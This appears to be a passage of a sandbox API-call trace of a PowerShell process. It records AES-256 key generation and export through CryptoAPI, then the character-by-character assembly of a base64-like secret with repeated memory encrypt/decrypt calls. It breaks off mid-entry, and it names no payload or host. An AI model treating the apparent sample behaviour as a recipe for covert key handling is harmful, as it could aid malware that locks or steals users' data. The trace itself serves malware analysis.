EtwEventActivityIdControl () returned 0x0 [0243.795] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.795] EtwEventActivityIdControl () returned 0x0 [0243.795] EtwEventActivityIdControl () returned 0x0 [0243.795] EtwEventActivityIdControl () returned 0x0 [0243.797] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.797] EtwEventActivityIdControl () returned 0x0 [0243.798] EtwEventActivityIdControl () returned 0x0 [0243.798] EtwEventActivityIdControl () returned 0x0 [0243.800] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x3742b0) returned 1 [0243.802] CryptGenKey (in: hProv=0x3742b0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c69080) returned 1 [0243.802] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.802] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.802] CryptExportKey (in: hKey=0x5c69080, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2472850, pdwDataLen=0x5a2e8c4 | out: pbData=0x2472850*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0243.802] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.803] EtwEventActivityIdControl () returned 0x0 [0243.803] EtwEventActivityIdControl () returned 0x0 [0243.804] EtwEventActivityIdControl () returned 0x0 [0243.805] SysStringLen (param_1="") returned 0x8 [0243.805] SysStringLen (param_1="Y") returned 0x8 [0243.805] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.805] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0243.805] SysStringLen (param_1="ዬ釮鉭뛎葂޼ȡ") returned 0x8 [0243.805] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.805] SysStringLen (param_1="YH") returned 0x8 [0243.806] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.806] SysStringLen (param_1="\巛瑽᷉찷垉≓) returned 0x8 [0243.806] SysStringLen (param_1="\巛瑽᷉찷垉≓) returned 0x8 [0243.806] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.806] SysStringLen (param_1="YH1") returned 0x8 [0243.806] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.806] SysStringLen (param_1="網獇靈ɾ癩⠱㙠") returned 0x8 [0243.806] SysStringLen (param_1="網獇靈ɾ癩⠱㙠") returned 0x8 [0243.806] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.806] SysStringLen (param_1="YH1a") returned 0x8 [0243.806] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.806] SysStringLen (param_1="㼴ﮫ謒꠳鍙ࣄ") returned 0x8 [0243.806] SysStringLen (param_1="㼴ﮫ謒꠳鍙ࣄ") returned 0x8 [0243.807] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.807] SysStringLen (param_1="YH1a6") returned 0x8 [0243.807] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.807] SysStringLen (param_1="혖䘲ᗾ\懝伙粩⋢) returned 0x8 [0243.807] SysStringLen (param_1="혖䘲ᗾ\懝伙粩⋢) returned 0x8 [0243.807] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.807] SysStringLen (param_1="YH1a6A") returned 0x8 [0243.807] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.807] SysStringLen (param_1="꥕疗ិ뭩퓚༩쓒⎢") returned 0x8 [0243.807] SysStringLen (param_1="꥕疗ិ뭩퓚༩쓒⎢") returned 0x8 [0243.807] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.807] SysStringLen (param_1="YH1a6Au") returned 0x8 [0243.807] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.808] SysStringLen (param_1="ǂ倲旌שּퟲ藻叭") returned 0x8 [0243.808] SysStringLen (param_1="ǂ倲旌שּퟲ藻叭") returned 0x8 [0243.808] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.808] SysStringLen (param_1="YH1a6AuM") returned 0x8 [0243.808] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.808] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ") returned 0x8 [0243.808] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ") returned 0x8 [0243.808] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ") returned 0x8 [0243.809] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ") returned 0x10 [0243.809] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.809] SysStringLen (param_1="YH1a6AuMq졜首쿖ⱅ᷐Ꝑ흓") returned 0x10 [0243.809] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.809] SysStringLen (param_1="甘Ɦꮯ퐣ᩨⲷ貪櫀ﳇ錶嬥㓾삧") returned 0x10 [0243.809] SysStringLen (param_1="甘Ɦꮯ퐣ᩨⲷ貪櫀ﳇ錶嬥㓾삧") returned 0x10 [0243.809] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.809] SysStringLen (param_1="YH1a6AuMqi首쿖ⱅ᷐Ꝑ흓") returned 0x10 [0243.809] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.810] SysStringLen (param_1="甘Ɦꮯ퐣ᩨꏹ䁈᩺짊냶䈕ᣵ") returned 0x10 [0243.810] SysStringLen (param_1="甘Ɦꮯ퐣ᩨꏹ䁈᩺짊냶䈕ᣵ") returned 0x10 [0243.810] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.810] SysStringLen (param_1="YH1a6AuMqif쿖ⱅ᷐Ꝑ흓") returned 0x10 [0243.810] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.810] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ┾썈謁췂쭷⁑ᢢ") returned 0x10 [0243.810] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ┾썈謁췂쭷⁑ᢢ") returned 0x10 [0243.810] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.810] SysStringLen (param_1="YH1a6AuMqifpⱅ᷐Ꝑ흓") returned 0x10 [0243.810] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.810] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ燑䂬ꄊۘད삿뿬舘") returned 0x10 [0243.810] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ燑䂬ꄊۘད삿뿬舘") returned 0x10 [0243.810] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.811] SysStringLen (param_1="YH1a6AuMqifpT᷐Ꝑ흓") returned 0x10 [0243.811] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.811] SysStringLen (param_1="甘Ɦꮯ퐣ᩨꁔ靥ⵛڤ䴾䍔䟋ꄁ") returned 0x10 [0243.811] SysStringLen (param_1="甘Ɦꮯ퐣ᩨꁔ靥ⵛڤ䴾䍔䟋ꄁ") returned 0x10 [0243.811] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.811] SysStringLen (param_1="YH1a6AuMqifpTTꝐ흓") returned 0x10 [0243.811] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.811] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ蜒걗ꈗ㡾ᥴ랺䂝") returned 0x10 [0243.811] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ蜒걗ꈗ㡾ᥴ랺䂝") returned 0x10 [0243.811] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.811] SysStringLen (param_1="YH1a6AuMqifpTTD흓") returned 0x10 [0243.811] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.812] SysStringLen (param_1="甘Ɦꮯ퐣ᩨꒄ樊ƍ㑂­씜낊૗") returned 0x10 [0243.812] SysStringLen (param_1="甘Ɦꮯ퐣ᩨꒄ樊ƍ㑂­씜낊૗") returned 0x10 [0243.812] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.812] SysStringLen (param_1="YH1a6AuMqifpTTDa") returned 0x10 [0243.812] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.812] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐≠) returned 0x10 [0243.812] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐≠) returned 0x10 [0243.812] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐≠) returned 0x10 [0243.813] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐≠) returned 0x18 [0243.813] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.813] SysStringLen (param_1="YH1a6AuMqifpTTDaf᮱쩸曺ᅿ턬⌽괌") returned 0x18 [0243.813] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.813] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐ᅠ攎達뷛ᕟ⋸) returned 0x18 [0243.813] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐ᅠ攎達뷛ᕟ⋸) returned 0x18 [0243.813] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.813] SysStringLen (param_1="YH1a6AuMqifpTTDafq쩸曺ᅿ턬⌽괌") returned 0x18 [0243.813] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.813] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐㽠겠쵦몶䟷뾶䫙屓∷) returned 0x18 [0243.813] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐㽠겠쵦몶䟷뾶䫙屓∷) returned 0x18 [0243.813] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.814] SysStringLen (param_1="YH1a6AuMqifpTTDafqc曺ᅿ턬⌽괌") returned 0x18 [0243.814] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.814] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐䩠ｩꙏ\㗞젝쟔") returned 0x18 [0243.814] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐䩠ｩꙏ\㗞젝쟔") returned 0x18 [0243.814] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.814] SysStringLen (param_1="YH1a6AuMqifpTTDafqcsᅿ턬⌽괌") returned 0x18 [0243.814] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.814] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐䥠癰ꑐ軙꧀듬∌) returned 0x18 [0243.814] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐䥠癰ꑐ軙꧀듬∌) returned 0x18 [0243.814] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.814] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs6턬⌽괌") returned 0x18 [0243.814] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.814] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐襠ྋ㧯䛃ќ獌៚≵) returned 0x18 [0243.814] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐襠ྋ㧯䛃ќ獌៚≵) returned 0x18 [0243.815] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.815] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65⌽괌") returned 0x18 [0243.815] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.815] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐\狜䵈샧膀찠⑜\俛∶) returned 0x18 [0243.815] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐\狜䵈샧膀찠⑜\俛∶) returned 0x18 [0243.815] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.815] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+괌") returned 0x18 [0243.815] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.815] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐퍠氦軿슃㨀輄範⊯) returned 0x18 [0243.815] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐퍠氦軿슃㨀輄範⊯) returned 0x18 [0243.815] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.815] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+n") returned 0x18 [0243.815] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.816] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮⋖) returned 0x18 [0243.816] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮⋖) returned 0x18 [0243.816] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮⋖) returned 0x18 [0243.816] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮⋖) returned 0x20 [0243.816] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.816] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nf铺젚旭ᶮ\廝∛) returned 0x20 [0243.816] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.817] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮鳖῝ꬿꅐ㹗鼸件鸧⊧) returned 0x20 [0243.817] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮鳖῝ꬿꅐ㹗鼸件鸧⊧) returned 0x20 [0243.817] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.817] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfu젚旭ᶮ\廝∛) returned 0x20 [0243.817] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.817] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮䦾醥ﴪ婣谪瞼≁) returned 0x20 [0243.817] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮䦾醥ﴪ婣谪瞼≁) returned 0x20 [0243.817] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.817] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB旭ᶮ\廝∛) returned 0x20 [0243.817] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.817] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮쯖蝹綡昉뉵嵬ᾖ➗⊆) returned 0x20 [0243.819] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮쯖蝹綡昉뉵嵬ᾖ➗⊆) returned 0x20 [0243.819] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.819] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB5ᶮ\廝∛) returned 0x20 [0243.819] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.819] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮糖재̺絟蒟ᆤ㖣ꃰ⋷) returned 0x20 [0243.819] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮糖재̺絟蒟ᆤ㖣ꃰ⋷) returned 0x20 [0243.819] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.820] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55ᶮ\廝∛) returned 0x20 [0243.820] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.820] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㻢嘗芒⨯∻) returned 0x20 [0243.820] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㻢嘗芒⨯∻) returned 0x20 [0243.820] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.820] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H\廝∛) returned 0x20 [0243.820] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.820] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㣖ซ⻻蘐\뫚볼裡") returned 0x20 [0243.820] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㣖ซ⻻蘐\뫚볼裡") returned 0x20 [0243.820] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.820] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9᭞") returned 0x20 [0243.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.821] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮ꋖ푗懭♰㌈眗겮㡊∺) returned 0x20 [0243.821] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮ꋖ푗懭♰㌈眗겮㡊∺) returned 0x20 [0243.821] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.821] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9i") returned 0x20 [0243.821] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.821] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨⊿) returned 0x20 [0243.821] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨⊿) returned 0x20 [0243.821] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨⊿) returned 0x20 [0243.822] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨颿∡) returned 0x28 [0243.822] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.822] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN戹䢂송ꠣɃࠩ⬳") returned 0x28 [0243.822] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.822] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ಿ욚觭ᥨ뛱ꗁ뿿棧∤) returned 0x28 [0243.822] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ಿ욚觭ᥨ뛱ꗁ뿿棧∤) returned 0x28 [0243.822] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.823] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN3䢂송ꠣɃࠩ⬳") returned 0x28 [0243.823] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.823] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨Ჿ乯①識調貌榷戱⋠) returned 0x28 [0243.823] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨Ჿ乯①識調貌榷戱⋠) returned 0x28 [0243.823] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.823] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36송ꠣɃࠩ⬳") returned 0x28 [0243.823] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.823] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨◇늌ᘣ᷉뇚쐯λ∴) returned 0x28 [0243.823] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨◇늌ᘣ᷉뇚쐯λ∴) returned 0x28 [0243.823] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.823] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36gꠣɃࠩ⬳") returned 0x28 [0243.823] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.823] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨춿ꕘ\軙蝪峣켗떵") returned 0x28 [0243.823] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨춿ꕘ\軙蝪峣켗떵") returned 0x28 [0243.823] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.824] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36glɃࠩ⬳") returned 0x28 [0243.824] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.824] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ᮿ閯颊꺾ꎋ켔ⱗ⋎) returned 0x28 [0243.824] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ᮿ閯颊꺾ꎋ켔ⱗ⋎) returned 0x28 [0243.824] SystemFunction041 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.824] SysStringLen (param_1="YH1a6AuMqifpTTDafqcs65+nfuB55H9iN36gl0ࠩ⬳") returned 0x28 [0243.824] SystemFunction040 (in: Memory=0x5c9b3fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b3fc) returned 0x0 [0243.824] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨⺿흏嫇鲸뀪埯⊫) returned 0x28 [0243.824] SysStringLen 